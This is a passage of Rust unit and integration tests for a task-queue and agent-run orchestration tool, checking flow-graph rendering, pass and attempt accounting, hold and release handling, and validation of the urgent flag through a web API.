13973 fn flow_opens_with_the_chat_that_queued_the_task() {
13974 let mut t = flow_task(&[]);
13975 t.source = Source::Agent {
13976 run: "a b/c".to_owned(),
13977 node: crate::queue::CHAT_NODE.to_owned(),
13978 };
13979 let f = flow_for(&t, &[]);
13980 assert_eq!(f.nodes[0].key, "chat");
13981 assert_eq!(f.nodes[0].kind, "chat");
13982 assert_eq!(
13983 f.nodes[0].label,
13984 format!("Chat {}", crate::queue::short("a b/c"))
13985 );
13986 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
13987 assert_eq!(f.nodes[1].key, "start");
13988 assert_eq!(
13989 f.edges[0],
13990 FlowEdge {
13991 from: "chat".to_owned(),
13992 to: "start".to_owned(),
13993 label: "queued from chat".to_owned(),
13994 attempt: AttemptCost::None,
13995 }
13996 );
13997 }
13998
13999 #[test]
14000 fn flow_has_no_chat_box_for_other_sources() {
14001 for source in [
14002 Source::Human,
14003 Source::Issue {
14004 number: 3,
14005 repo: "o/r".to_owned(),
14006 },
14007 Source::Agent {
14008 run: "20260904-014455-ab12".to_owned(),
14009 node: "implement".to_owned(),
14010 },
14011 ] {
14012 let mut t = flow_task(&[]);
14013 t.source = source;
14014 let f = flow_for(&t, &[]);
14015 assert_eq!(f.nodes[0].key, "start");
14016 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
14017 assert!(f.edges.iter().all(|e| e.from != "chat"));
14018 }
14019 }
14020
14021 const FA: &str = "20260902-140501-aaaa";
14022 const FB: &str = "20260902-140502-bbbb";
14023
14024 #[test]
14025 fn flow_follows_blocked_retry_merged_to_done() {
14026 let mut t = flow_task(&[FA, FB]);
14027 t.status = TaskStatus::Done;
14028 let f = flow_for(
14029 &t,
14030 &[
14031 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
14032 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
14033 ],
14034 );
14035 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
14036 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
14037 assert_eq!(f.edges.len(), 3);
14038 assert_eq!(f.edges[0].label, "claimed");
14039 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
14040 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14041 assert_eq!(f.edges[2].label, "merged \u{2192} done");
14042 assert_eq!(
14043 f.nodes[2].href.as_deref(),
14044 Some("#/runs/20260902-140502-bbbb")
14045 );
14046 assert!(f.nodes[2].decided);
14047 }
14048
14049 #[test]
14050 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
14051 let quota = || {
14052 flow_run(RunStatus::Stalled, |s| {
14053 s.quota.push(crate::run::QuotaLoss {
14054 seat: "judge-1".to_owned(),
14055 node: "judge".to_owned(),
14056 at: Timestamp::now(),
14057 reset: None,
14058 })
14059 })
14060 };
14061 let mut t = flow_task(&[FA, FA]);
14062 t.status = TaskStatus::Queued;
14063 let f = flow_for(&t, &[(FA, Some(quota()))]);
14064 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
14065 assert_eq!(f.nodes[1].note, Some("interrupted"));
14066 assert_eq!(
14067 f.nodes[1].status, None,
14068 "no outcome copied onto an earlier pass"
14069 );
14070 assert_eq!(
14071 f.edges[1].attempt,
14072 AttemptCost::Unknown,
14073 "a resume does not prove the earlier pass was refunded"
14074 );
14075 assert!(f.edges[1].label.contains("resume the same run"));
14076 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
14077 assert_eq!(
14078 f.edges[2].label,
14079 "stalled after a resume, refund unknown \u{2192} queued"
14080 );
14081 assert!(!f.nodes[2].decided, "a stall is not a decision");
14082 assert_eq!(f.nodes[2].note, Some("no verdict"));
14083 }
14084
14085 #[test]
14086 fn flow_single_pass_quota_stall_is_refunded() {
14087 let t = flow_task(&[FA]);
14088 let f = flow_for(
14089 &t,
14090 &[(
14091 FA,
14092 Some(flow_run(RunStatus::Stalled, |s| {
14093 s.quota.push(crate::run::QuotaLoss {
14094 seat: "judge-1".to_owned(),
14095 node: "judge".to_owned(),
14096 at: Timestamp::now(),
14097 reset: None,
14098 })
14099 })),
14100 )],
14101 );
14102 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14103 }
14104
14105 #[test]
14106 fn flow_parked_refunds_and_stall_without_quota_spends() {
14107 let mut t = flow_task(&[FA]);
14108 t.status = TaskStatus::Queued;
14109 let f = flow_for(
14110 &t,
14111 &[(
14112 FA,
14113 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14114 )],
14115 );
14116 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14117 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14118 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14119 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14120 assert!(!f.nodes[1].decided);
14121 }
14122
14123 #[test]
14124 fn flow_keeps_an_unreadable_run_as_its_own_node() {
14125 let t = flow_task(&[FA, FB]);
14126 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14127 assert_eq!(f.nodes[1].note, Some("unreadable"));
14128 assert!(!f.nodes[1].readable);
14129 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14130 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14131 }
14132
14133 #[test]
14134 fn flow_names_the_branch_of_a_review_only_run() {
14135 let t = flow_task(&[FA]);
14136 let f = flow_for(
14137 &t,
14138 &[(
14139 FA,
14140 Some(flow_run(RunStatus::Merged, |s| {
14141 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14142 })),
14143 )],
14144 );
14145 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14146 assert_eq!(
14147 f.nodes[1].detail.as_deref(),
14148 Some("review-only run of branch magi/x/A")
14149 );
14150 }
14151
14152 #[test]
14153 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14154 let mut t = flow_task(&[FA]);
14155 t.status = TaskStatus::Held;
14156 let pr = crate::run::PrRecord {
14157 url: "https://example.test/pr/1".to_owned(),
14158 number: 1,
14159 state: "open".to_owned(),
14160 checks: "green".to_owned(),
14161 round: 0,
14162 rounds: 3,
14163 red_at_merge: Vec::new(),
14164 };
14165 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14166 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14167 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14168 t.status = TaskStatus::Done;
14169 let f = flow_for(&t, &[(FA, Some(blocked))]);
14170 assert_eq!(f.edges[1].label, "closed by hand: task is done");
14171 }
14172
14173 #[test]
14174 fn flow_with_no_runs_goes_from_queued_to_queued() {
14175 let t = flow_task(&[]);
14176 let f = flow_for(&t, &[]);
14177 assert_eq!(f.nodes.len(), 2);
14178 assert_eq!(f.edges.len(), 1);
14179 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14180 assert_eq!(f.edges[0].attempt, AttemptCost::None);
14181 }
14182
14183 #[test]
14186 fn a_parked_non_terminal_run_is_explained_as_parked() {
14187 let mut s = RunState::new(
14188 PathBuf::from("/repo/magi"),
14189 "main".to_owned(),
14190 "0123456789abcdef".to_owned(),
14191 "Do it".to_owned(),
14192 Config::default(),
14193 );
14194 s.status = RunStatus::Implementing;
14195 s.parked = true;
14196 let task = Task::new(
14197 "t".to_owned(),
14198 "Do it".to_owned(),
14199 PathBuf::from("/repo/magi"),
14200 Source::Human,
14201 );
14202 let v = task_run_view(
14203 "20260902-140501-aaaa",
14204 Some(&s),
14205 RunSlot {
14206 n: 1,
14207 resumed: false,
14208 resumed_later: None,
14209 prior: None,
14210 last: true,
14211 ..RunSlot::default()
14212 },
14213 &task,
14214 );
14215 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14216 }
14217
14218 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14219 let mut s = flow_run(RunStatus::Implementing, edit);
14220 s.parked = false;
14221 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14222 task_run_view(
14223 "20260902-140501-aaaa",
14224 Some(&s),
14225 RunSlot {
14226 n: 1,
14227 resumed: false,
14228 resumed_later: Some(2),
14229 prior: None,
14230 last: false,
14231 ..RunSlot::default()
14232 },
14233 &task,
14234 )
14235 }
14236
14237 #[test]
14238 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14239 let v = earlier_pass_view(|_| {});
14240 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14241 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14242 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14243 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14244 assert_eq!(v.exit, RunExit::Interrupted);
14245 assert_eq!(v.attempt, AttemptCost::Unknown);
14246 }
14247
14248 #[test]
14249 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14250 let v = earlier_pass_view(|s| {
14251 s.quota.push(crate::run::QuotaLoss {
14252 seat: "judge-1".to_owned(),
14253 node: "judge".to_owned(),
14254 at: Timestamp::now(),
14255 reset: None,
14256 });
14257 });
14258 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14259 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14260 assert_eq!(v.attempt, AttemptCost::Unknown);
14261 }
14262
14263 #[test]
14264 fn the_current_pass_states_its_recorded_cause_and_cost() {
14265 let slot = || RunSlot {
14266 n: 1,
14267 resumed: false,
14268 resumed_later: None,
14269 prior: None,
14270 last: true,
14271 ..RunSlot::default()
14272 };
14273 let task = flow_task(&["20260902-140501-aaaa"]);
14274 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14275 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14276 assert_eq!(
14277 (v.exit, v.attempt),
14278 (RunExit::Parked, AttemptCost::Refunded)
14279 );
14280 let spent = flow_run(RunStatus::Blocked, |_| {});
14281 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14282 assert_eq!(v.attempt, AttemptCost::Spent);
14283 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14284 }
14285
14286 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14287 crate::run::RunPass {
14288 index,
14289 started_at: Timestamp::now(),
14290 resumed: index > 0,
14291 ended_at: end.as_ref().map(|_| Timestamp::now()),
14292 end,
14293 task_entry: true,
14294 }
14295 }
14296
14297 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14298 Some(crate::run::PassEnd::Parked { cause })
14299 }
14300
14301 fn upgrade_cause() -> crate::run::ParkCause {
14302 crate::run::ParkCause::Upgrade {
14303 from: "0.121.0".to_owned(),
14304 to: Some("0.121.1".to_owned()),
14305 }
14306 }
14307
14308 fn settled_pass(
14309 run: &str,
14310 index: usize,
14311 cost: crate::queue::PassCost,
14312 ) -> crate::queue::TaskPass {
14313 crate::queue::TaskPass {
14314 run: run.to_owned(),
14315 pass_index: index,
14316 cost,
14317 attempts_after: 1,
14318 settled_at: Timestamp::now(),
14319 parked: None,
14320 }
14321 }
14322
14323 const RUN_X: &str = "20261011-223708-4334";
14324
14325 #[test]
14326 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
14327 use crate::queue::PassCost;
14328 let run = flow_run(RunStatus::Implementing, |s| {
14329 s.passes = vec![
14330 recorded_pass(0, parked(upgrade_cause())),
14331 recorded_pass(1, None),
14332 ];
14333 });
14334 let mut task = flow_task(&[RUN_X, RUN_X]);
14335 task.attempts = 1;
14336 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14337 let h = task_history(&task, |_| Some(run.clone()));
14338 assert_eq!(h.len(), 2);
14339 assert_eq!(h[0].kind, "competition");
14340 assert_eq!(h[1].kind, "resume");
14341 assert_eq!(
14342 (h[0].exit, h[0].attempt),
14343 (RunExit::Parked, AttemptCost::Refunded)
14344 );
14345 assert!(
14346 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
14347 "{}",
14348 h[0].outcome
14349 );
14350 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
14351 assert!(
14352 h[0].outcome.contains("pass #2 resumed the same run"),
14353 "{}",
14354 h[0].outcome
14355 );
14356 assert!(
14357 h[0].outcome.contains("pass 1 of 2 over run"),
14358 "{}",
14359 h[0].outcome
14360 );
14361 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14362 assert_eq!(
14363 h[0].exit_label,
14364 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
14365 );
14366 let f = task_flow(&task, &h, 2, None);
14367 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
14369 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14370 assert!(
14371 f.edges[1].label.contains("upgrade 0.121.0"),
14372 "{}",
14373 f.edges[1].label
14374 );
14375 assert!(
14376 f.edges[1].label.contains("resume the same run"),
14377 "{}",
14378 f.edges[1].label
14379 );
14380 assert_eq!(f.nodes[1].note, Some("parked"));
14381 }
14382
14383 #[test]
14384 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
14385 let mut a = flow_run(RunStatus::Implementing, |s| {
14386 s.passes = vec![
14387 recorded_pass(0, parked(upgrade_cause())),
14388 recorded_pass(1, None),
14389 ];
14390 });
14391 let mut b = flow_run(RunStatus::Failed, |s| {
14392 s.passes = vec![recorded_pass(0, None)];
14393 });
14394 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
14395 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
14396 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
14397 let mut task = flow_task(&[]);
14398 task.start("a".into());
14399 task.start("b".into());
14400 task.start("a".into());
14401 assert_eq!(task.runs, ["b", "a"]);
14402 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
14403 let h = task_history(&task, |id| {
14404 Some(if id == "a" { a.clone() } else { b.clone() })
14405 });
14406 assert_eq!(
14407 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
14408 ["a", "b", "a"]
14409 );
14410 assert_eq!(h[0].attempt, AttemptCost::Refunded);
14411 assert!(h[0].outcome.contains("upgrade"));
14412 assert_eq!(h[2].kind, "resume");
14413 assert!(h[2].pass.is_some());
14414 task.runs = vec!["a".into(), "b".into(), "a".into()];
14416 let old = task_history(&task, |id| {
14417 Some(if id == "a" { a.clone() } else { b.clone() })
14418 });
14419 assert_eq!(
14420 old.iter()
14421 .map(|v| (&v.id, &v.kind, v.attempt))
14422 .collect::<Vec<_>>(),
14423 h.iter()
14424 .map(|v| (&v.id, &v.kind, v.attempt))
14425 .collect::<Vec<_>>()
14426 );
14427 }
14428
14429 #[test]
14430 fn an_upgrade_whose_target_was_not_known_says_so() {
14431 let run = flow_run(RunStatus::Implementing, |s| {
14432 s.passes = vec![
14433 recorded_pass(
14434 0,
14435 parked(crate::run::ParkCause::Upgrade {
14436 from: "0.121.0".to_owned(),
14437 to: None,
14438 }),
14439 ),
14440 recorded_pass(1, None),
14441 ];
14442 });
14443 let task = flow_task(&[RUN_X, RUN_X]);
14444 let h = task_history(&task, |_| Some(run.clone()));
14445 assert!(
14446 h[0].outcome.contains("upgrade from 0.121.0"),
14447 "{}",
14448 h[0].outcome
14449 );
14450 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14452 }
14453
14454 #[test]
14455 fn each_pass_keeps_its_own_cause_across_several_resumes() {
14456 use crate::queue::PassCost;
14457 use crate::run::ParkCause;
14458 let run = flow_run(RunStatus::Implementing, |s| {
14459 s.passes = vec![
14460 recorded_pass(0, parked(upgrade_cause())),
14461 recorded_pass(
14462 1,
14463 parked(ParkCause::Interrupt {
14464 reason: "task a1b2 asked to run first".to_owned(),
14465 }),
14466 ),
14467 recorded_pass(2, parked(ParkCause::Operator)),
14468 recorded_pass(3, None),
14469 ];
14470 });
14471 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
14472 task.attempts = 1;
14473 task.passes = (0..3)
14474 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
14475 .collect();
14476 let h = task_history(&task, |_| Some(run.clone()));
14477 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14478 assert!(
14479 h[1].outcome.contains("task a1b2 asked to run first"),
14480 "{}",
14481 h[1].outcome
14482 );
14483 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
14484 assert!(
14485 h[2].outcome.contains("operator asked the loop to park"),
14486 "{}",
14487 h[2].outcome
14488 );
14489 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
14490 let f = task_flow(&task, &h, 2, None);
14491 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
14492 }
14493
14494 #[test]
14495 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
14496 let run = flow_run(RunStatus::Implementing, |s| {
14497 s.passes = vec![
14498 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
14499 recorded_pass(1, None),
14500 ];
14501 });
14502 let task = flow_task(&[RUN_X, RUN_X]);
14503 let h = task_history(&task, |_| Some(run.clone()));
14504 assert_eq!(h[0].exit, RunExit::Interrupted);
14505 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14506 assert!(
14507 h[0].outcome.contains("without recording why"),
14508 "{}",
14509 h[0].outcome
14510 );
14511 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14512 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
14513 }
14514
14515 #[test]
14516 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
14517 use crate::queue::PassCost;
14518 let run = flow_run(RunStatus::Implementing, |s| {
14521 s.passes = vec![
14522 recorded_pass(0, parked(upgrade_cause())),
14523 recorded_pass(1, None),
14524 ];
14525 });
14526 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
14527 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14528 let h = task_history(&task, |_| Some(run.clone()));
14529 assert!(h[0].pass.is_none());
14530 assert_eq!(h[0].exit, RunExit::Interrupted);
14531 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14532 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14533 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14534 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
14535 let legacy = flow_run(RunStatus::Implementing, |_| {});
14537 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
14538 assert!(h.iter().all(|v| v.pass.is_none()));
14539 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14540 }
14541
14542 #[test]
14543 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
14544 use crate::queue::PassCost;
14545 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
14548 web.task_entry = false;
14549 let run = flow_run(RunStatus::Implementing, |s| {
14550 s.passes = vec![
14551 recorded_pass(0, parked(upgrade_cause())),
14552 web.clone(),
14553 recorded_pass(2, None),
14554 ];
14555 });
14556 let mut task = flow_task(&[RUN_X, RUN_X]);
14557 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14558 let h = task_history(&task, |_| Some(run.clone()));
14559 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14560 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
14561
14562 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
14565 web0.task_entry = false;
14566 let run = flow_run(RunStatus::Implementing, |s| {
14567 s.passes = vec![web0.clone(), recorded_pass(1, None)];
14568 });
14569 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
14570 assert!(h[0].pass.is_none());
14571 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14572 assert!(h[1].pass.is_some());
14573 }
14574
14575 #[tokio::test]
14576 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
14577 let dir = tempfile::tempdir().unwrap();
14578 let queue = Queue::at(dir.path().join("queue"));
14579 let ui = Arc::new(Ui::new(
14580 queue.clone(),
14581 Questions::at(dir.path().join("questions")),
14582 Talks::at(dir.path().join("talks")),
14583 dir.path().join("runs"),
14584 dir.path().to_path_buf(),
14585 dir.path().to_path_buf(),
14586 ));
14587 let mut t = Task::new(
14588 "recover".into(),
14589 "Inspect".into(),
14590 PathBuf::from("."),
14591 Source::Human,
14592 );
14593 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
14594 t.start("run-A".into());
14595 t.release_operator("choice", Some("resume-question"));
14596 t.resume_override = Some(crate::queue::OperatorResume {
14597 question_id: "resume-question".into(),
14598 at: jiff::Timestamp::now(),
14599 conductor_rehold: None,
14600 forced: true,
14601 pinned_run: Some("run-A".into()),
14602 });
14603 t.hold_machine(Some("inspection pending".into()));
14604 t.edit("recover".into(), "Reuse approved PR head".into())
14605 .unwrap();
14606 queue.put(&mut t).unwrap();
14607 let mut cli = t.clone();
14608 cli.release_operator("cli", None);
14609 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
14610 let reloaded = queue.get(&t.id).unwrap();
14611 assert_eq!(reply.task.status, TaskStatus::Queued);
14612 assert!(reloaded.resume_override.is_none());
14613 assert_eq!(reloaded.answers, t.answers);
14614 let mut web = reloaded.resumption.unwrap();
14615 let cli = cli.resumption.unwrap();
14616 assert_eq!(web.source, "web");
14617 web.source = cli.source.clone();
14618 web.at = cli.at;
14619 assert_eq!(web, cli);
14620 }
14621
14622 #[tokio::test]
14623 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
14624 let f = Fixture::start().await;
14625 let queue = f.queue();
14626 let mut task = Task::new(
14627 "spent".to_owned(),
14628 "Try again".to_owned(),
14629 PathBuf::from("/repo/magi"),
14630 Source::Human,
14631 );
14632 task.start("20260902-140502-bbbb".to_owned());
14633 task.fail("agent gave up", 9);
14634 queue.put(&mut task).expect("file the task");
14635
14636 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14637 assert_eq!(held.status, 200);
14638 assert_eq!(held.json()["status_str"], "held");
14639
14640 let released = f
14641 .post(&format!("/api/queue/{}/release", task.id), None)
14642 .await;
14643 assert_eq!(released.status, 200);
14644 assert_eq!(released.json()["status_str"], "queued");
14645 assert_eq!(released.json()["resumption"]["source"], "web");
14646 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
14647 let mut cli = task.clone();
14648 cli.release_operator("cli", None);
14649 let web = queue.get(&task.id).unwrap().resumption.unwrap();
14650 let cli = cli.resumption.unwrap();
14651 assert_eq!(web.instruction, cli.instruction);
14652 assert_eq!(web.answers_through, cli.answers_through);
14653 assert_eq!(web.runs_through, cli.runs_through);
14654 assert_eq!(web.cleared_reason, cli.cleared_reason);
14655 assert_eq!(
14656 released.json()["attempts"],
14657 0,
14658 "release is a real second chance, not an instant re-hold"
14659 );
14660 assert_eq!(
14661 queue.get(&task.id).expect("reload").status,
14662 TaskStatus::Queued,
14663 "the change is on disk, not only in the reply"
14664 );
14665 assert!(
14666 !f.home
14667 .path()
14668 .join("queue")
14669 .join(format!("{}.lock", task.id))
14670 .exists(),
14671 "the claim the mutation took is released again"
14672 );
14673 }
14674
14675 #[tokio::test]
14676 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
14677 let f = Fixture::start().await;
14678 let queue = f.queue();
14679 let mut task = Task::new(
14680 "busy".to_owned(),
14681 "Running right now".to_owned(),
14682 PathBuf::from("/repo/magi"),
14683 Source::Human,
14684 );
14685 queue.put(&mut task).expect("file the task");
14686 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14687
14688 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14689
14690 assert_eq!(res.status, 409);
14691 assert_eq!(
14692 queue.get(&task.id).expect("reload").status,
14693 TaskStatus::Queued,
14694 "the refused hold changed nothing"
14695 );
14696 }
14697
14698 #[tokio::test]
14699 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
14700 let f = Fixture::start().await;
14701 let queue = f.queue();
14702 let mut task = Task::new(
14703 "waiting on the migration".to_owned(),
14704 "Do the thing".to_owned(),
14705 PathBuf::from("/repo/magi"),
14706 Source::Human,
14707 );
14708 queue.put(&mut task).expect("file the task");
14709
14710 let held = f
14711 .post(
14712 &format!("/api/queue/{}/hold", task.id),
14713 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
14714 )
14715 .await;
14716 assert_eq!(held.status, 200, "{}", held.body);
14717 assert_eq!(held.json()["status_str"], "held");
14718 assert_eq!(
14719 held.json()["hold_reason"],
14720 "waiting for 20260101-000000-aaaa to land"
14721 );
14722
14723 let listed = f.get("/api/queue").await.json();
14724 assert_eq!(
14725 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
14726 "the card reads the reason off the same list route"
14727 );
14728
14729 let mut plain = Task::new(
14732 "no reason given".to_owned(),
14733 "Do another thing".to_owned(),
14734 PathBuf::from("/repo/magi"),
14735 Source::Human,
14736 );
14737 queue.put(&mut plain).expect("file the task");
14738 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
14739 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
14740 assert!(held_plain.json()["hold_reason"].is_null());
14741
14742 let released = f
14743 .post(&format!("/api/queue/{}/release", task.id), None)
14744 .await;
14745 assert_eq!(released.status, 200);
14746 assert!(
14747 released.json()["hold_reason"].is_null(),
14748 "a release must clear the reason so the next hold does not inherit it"
14749 );
14750 }
14751
14752 #[test]
14753 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
14754 for urgent in [true, false] {
14755 let body: UrgentBody =
14756 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
14757 assert_eq!(body.urgent, urgent);
14758 }
14759 for input in [
14760 r#"{}"#,
14761 r#"{"urgent":null}"#,
14762 r#"{"urgent":"true"}"#,
14763 r#"{"urgent":1}"#,
14764 r#"{"urgent":true,"extra":false}"#,
14765 ] {
14766 assert!(
14767 serde_json::from_str::<UrgentBody>(input).is_err(),
14768 "{input}"
14769 );
14770 }
14771 }
14772
14773 #[tokio::test]
14774 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
14775 let home = TempDir::new().unwrap();
14776 let q = Queue::at(home.path().join("queue"));
14777 let ui = Arc::new(Ui::new(
14778 q.clone(),
14779 Questions::at(home.path().join("questions")),
14780 Talks::at(home.path().join("talks")),
14781 home.path().join("runs"),
14782 home.path().into(),
14783 home.path().into(),
14784 ));
14785 let mut task = Task::new(
14786 "urgent handler".into(),
14787 "keep".into(),
14788 home.path().into(),
14789 Source::Human,
14790 );
14791 for status in [TaskStatus::Queued, TaskStatus::Held] {
14792 task.status = status;
14793 q.put(&mut task).unwrap();
14794 for urgent in [true, true, false, false] {
14795 let saved = queue_urgent(
14796 State(Arc::clone(&ui)),
14797 Path(task.short().into()),
14798 Ok(Json(UrgentBody { urgent })),
14799 )
14800 .await
14801 .unwrap();
14802 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
14803 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
14804 }
14805 }
14806 task.status = TaskStatus::Queued;
14807 q.put(&mut task).unwrap();
14808 let claim = q.claim(&task.id).unwrap();
14809 let error = queue_urgent(
14810 State(Arc::clone(&ui)),
14811 Path(task.id.clone()),
14812 Ok(Json(UrgentBody { urgent: true })),
14813 )
14814 .await
14815 .unwrap_err();
14816 assert_eq!(error.status, StatusCode::CONFLICT);
14817 assert!(error.message.contains("released"));
14818 drop(claim);
14819 for status in [
14820 TaskStatus::Running,
14821 TaskStatus::Done,
14822 TaskStatus::Failed,
14823 TaskStatus::Blocked,
14824 TaskStatus::Parked,
14825 ] {
14826 task.status = status;
14827 q.put(&mut task).unwrap();
14828 let error = queue_urgent(
14829 State(Arc::clone(&ui)),
14830 Path(task.id.clone()),
14831 Ok(Json(UrgentBody { urgent: false })),
14832 )
14833 .await
14834 .unwrap_err();
14835 assert_eq!(error.status, StatusCode::BAD_REQUEST);
14836 assert!(error.message.contains(status.as_str()));
14837 }
14838 }
14839
14840 #[tokio::test]
14841 async fn urgent_api_updates_preserves_and_validates_tasks() {
14842 let f = Fixture::start().await;
14843 let q = f.queue();
14844 let mut t = Task::new(
14845 "urgent API".into(),
14846 "unchanged".into(),
14847 PathBuf::from("/repo/magi"),
14848 Source::Human,
14849 );
14850 t.attempts = 2;
14851 t.priority = 9;
14852 t.interrupt = true;
14853 t.hold_reason = Some("waiting for approval".into());
14854 for status in [TaskStatus::Queued, TaskStatus::Held] {
14855 t.status = status;
14856 q.put(&mut t).unwrap();
14857 for urgent in [true, true, false, false] {
14858 let response = f
14859 .post(
14860 &format!("/api/queue/{}/urgent", t.short()),
14861 Some(&format!("{{\"urgent\":{urgent}}}")),
14862 )
14863 .await;
14864 assert_eq!(response.status, 200, "{}", response.body);
14865 assert_eq!(response.json()["urgent"], urgent);
14866 let saved = q.get(&t.id).unwrap();
14867 let mut before = serde_json::to_value(&t).unwrap();
14868 let mut after = serde_json::to_value(saved).unwrap();
14869 before["urgent"] = urgent.into();
14870 before.as_object_mut().unwrap().remove("updated_at");
14871 after.as_object_mut().unwrap().remove("updated_at");
14872 assert_eq!(after, before);
14873 }
14874 }
